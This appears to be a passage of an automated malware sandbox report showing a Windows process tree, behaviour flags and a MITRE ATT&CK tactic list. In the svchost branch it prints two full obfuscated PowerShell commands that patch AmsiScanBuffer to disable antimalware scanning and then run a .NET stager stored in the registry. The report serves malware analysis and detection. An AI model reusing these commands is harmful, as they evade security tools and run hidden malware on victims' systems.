1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p
1⤵
PID:1176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
- Drops file in System32 directory
PID:740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:xzonMiydyGzm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xrhExMnIPoJPBE,[Parameter(Position=1)][Type]$WIACmIMqow)$LAiFtuJvxeR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$LAiFtuJvxeR.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$xrhExMnIPoJPBE).SetImplementationFlags('Runtime,Managed');$LAiFtuJvxeR.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$WIACmIMqow,$xrhExMnIPoJPBE).SetImplementationFlags('Runtime,Managed');Write-Output $LAiFtuJvxeR.CreateType();}$ZBizfgdMnEbHC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$pctLfjosteCTBb=$ZBizfgdMnEbHC.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vsEWMysmZbePzfewOsa=xzonMiydyGzm @([String])([IntPtr]);$VbyBvCtTCXljdszXSdDKZY=xzonMiydyGzm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fTdtnACqnnD=$ZBizfgdMnEbHC.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$fzBKiByxWhdyUQ=$pctLfjosteCTBb.Invoke($Null,@([Object]$fTdtnACqnnD,[Object]('Load'+'LibraryA')));$IOtUQQuJOtgPTAdhH=$pctLfjosteCTBb.Invoke($Null,@([Object]$fTdtnACqnnD,[Object]('Vir'+'tual'+'Pro'+'tect')));$tNBhlax=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fzBKiByxWhdyUQ,$vsEWMysmZbePzfewOsa).Invoke('a'+'m'+'si.dll');$vmuoADkeTzxpAEaLc=$pctLfjosteCTBb.Invoke($Null,@([Object]$tNBhlax,[Object]('Ams'+'iSc'+'an'+'Buffer')));$iNWOUGCTGy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IOtUQQuJOtgPTAdhH,$VbyBvCtTCXljdszXSdDKZY).Invoke($vmuoADkeTzxpAEaLc,[uint32]8,4,[ref]$iNWOUGCTGy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vmuoADkeTzxpAEaLc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IOtUQQuJOtgPTAdhH,$VbyBvCtTCXljdszXSdDKZY).Invoke($vmuoADkeTzxpAEaLc,[uint32]8,0x20,[ref]$iNWOUGCTGy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:UtntHzfaVjEN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QuElVAJXMzBWAf,[Parameter(Position=1)][Type]$GPEjhqsdzT)$AFDGikyUpwn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$AFDGikyUpwn.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$QuElVAJXMzBWAf).SetImplementationFlags('Runtime,Managed');$AFDGikyUpwn.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$GPEjhqsdzT,$QuElVAJXMzBWAf).SetImplementationFlags('Runtime,Managed');Write-Output $AFDGikyUpwn.CreateType();}$FfqNoOYhlfRXQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$OeymAshyMzblBy=$FfqNoOYhlfRXQ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EqVeoxtIbEjtXeLqIQH=UtntHzfaVjEN @([String])([IntPtr]);$doqkQHkCOSSiWuXkUlqndm=UtntHzfaVjEN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$WgyVRITamis=$FfqNoOYhlfRXQ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$lUMUefdtHgBpYK=$OeymAshyMzblBy.Invoke($Null,@([Object]$WgyVRITamis,[Object]('Load'+'LibraryA')));$GLQnPONrHphqHFYAo=$OeymAshyMzblBy.Invoke($Null,@([Object]$WgyVRITamis,[Object]('Vir'+'tual'+'Pro'+'tect')));$vfQPLim=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lUMUefdtHgBpYK,$EqVeoxtIbEjtXeLqIQH).Invoke('a'+'m'+'si.dll');$oxefDdgCEIVVsUIWM=$OeymAshyMzblBy.Invoke($Null,@([Object]$vfQPLim,[Object]('Ams'+'iSc'+'an'+'Buffer')));$iXVOvffRbT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GLQnPONrHphqHFYAo,$doqkQHkCOSSiWuXkUlqndm).Invoke($oxefDdgCEIVVsUIWM,[uint32]8,4,[ref]$iXVOvffRbT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$oxefDdgCEIVVsUIWM,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GLQnPONrHphqHFYAo,$doqkQHkCOSSiWuXkUlqndm).Invoke($oxefDdgCEIVVsUIWM,[uint32]8,0x20,[ref]$iXVOvffRbT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3704
- C:\Windows\system32\wbem\WMIADAP.EXE
  wmiadap.exe /F /T /R
  2⤵
  PID:3752
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1408
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2764
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3544
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1888
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2840
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3708
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2156 -ip 2156
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Suspicious use of WriteProcessMemory
  PID:876
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2156 -ip 2156
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Suspicious use of WriteProcessMemory
  PID:3776
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 604 -p 2724 -ip 2724
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:3088
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 596 -p 2812 -ip 2812
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:204
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 580 -p 992 -ip 992
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:1860
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 420 -p 620 -ip 620
  2⤵
  PID:2608

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1640

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e8 00000084
1⤵
PID:2812

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:2812

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e8 00000084
1⤵
PID:3004

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e0 00000084
1⤵
PID:2608

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:992

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000dc 00000084
1⤵
PID:2724

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f0 00000084
1⤵
PID:2812

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:3004

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:3484

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d4 00000084
1⤵
PID:2724

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:2832

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:2832

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:2724

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e0 00000084
1⤵
PID:1576

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f0 00000084
1⤵
PID:620

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:2812

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000dc 00000084
1⤵
PID:2812

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:2812

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
- Executes dropped EXE
PID:2416

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:1408

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000120 00000084
1⤵
PID:2764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery